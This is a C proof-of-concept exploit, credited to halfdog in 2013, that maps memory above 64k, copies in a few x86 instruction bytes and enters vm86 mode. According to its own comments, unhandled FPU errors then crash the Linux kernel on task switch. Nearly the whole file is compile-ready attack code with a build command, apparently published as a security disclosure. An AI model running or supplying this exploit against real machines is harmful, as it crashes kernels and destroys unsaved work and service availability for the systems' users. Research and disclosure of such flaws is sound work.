|  | /** This software is provided by the copyright owner "as is" and any*  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2013 halfdog <me (%) halfdog.net>
 *
 *  This progam maps memory pages to the low range above 64k to
 *  avoid conflicts with /proc/sys/vm/mmap_min_addr and then
 *  triggers the virtual-86 mode. Due to unhandled FPU errors,
 *  task switch will fail afterwards, kernel will attempt to
 *  kill other tasks when switching.
 *
 *  gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
 *
 *  See http://www.halfdog.net/Data/var/www/www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
 */
 #include <errno.h>#include <fcntl.h>
 #include <signal.h>
 #include <stdio.h>
 #include <string.h>
 #include <sys/mman.h>
 #include <sys/vm86.h>
 #include <unistd.h>
 static const char *DEDICATION="To the most adorable person met so far.";
 static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
 fprintf(stderr, "Handling signal\n");
 }
 void runTest(void *realMem) {
 struct vm86plus_struct vm86struct;
 int  result;
   memset(&vm86struct, 0, sizeof(vm86struct));vm86struct.regs.eip=0x0;
 vm86struct.regs.cs=0x1000;
 // IF_MASK|IOPL_MASK
 vm86struct.regs.eflags=0x3002;
   vm86struct.regs.esp=0x400;vm86struct.regs.ss=0x1000;
 vm86struct.regs.ebp=vm86struct.regs.esp;
 vm86struct.regs.ds=0x1000;
 vm86struct.regs.fs=0x1000;
 vm86struct.regs.gs=0x1000;
 vm86struct.flags=0x0L;
 vm86struct.screen_bitmap=0x0L;
 vm86struct.cpu_type=0x0L;
 
 alarm(1);
 
 result=vm86(VM86_ENTER, &vm86struct);
 if(result) {
 fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
 strerror(errno));
 }
 }
 int main(int argc, char **argv) {
 struct sigaction sigAction;
   int  realMemSize=1<<20;void  *realMem;
 int  result;
   sigAction.sa_sigaction=handleSignal;sigfillset(&sigAction.sa_mask);
 sigAction.sa_flags=SA_SIGINFO;
 sigAction.sa_restorer=NULL;
 sigaction(SIGILL, &sigAction, NULL); // 4
 sigaction(SIGFPE, &sigAction, NULL); // 8
 sigaction(SIGSEGV, &sigAction, NULL); // 11
 sigaction(SIGALRM, &sigAction, NULL); // 14
   realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
 if(realMem==(void*)-1) {
 fprintf(stderr, "Failed to map real-mode memory space\n");
 return(1);
 }
   memset(realMem, 0, realMemSize);memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
   runTest(realMem);}
 
 
 |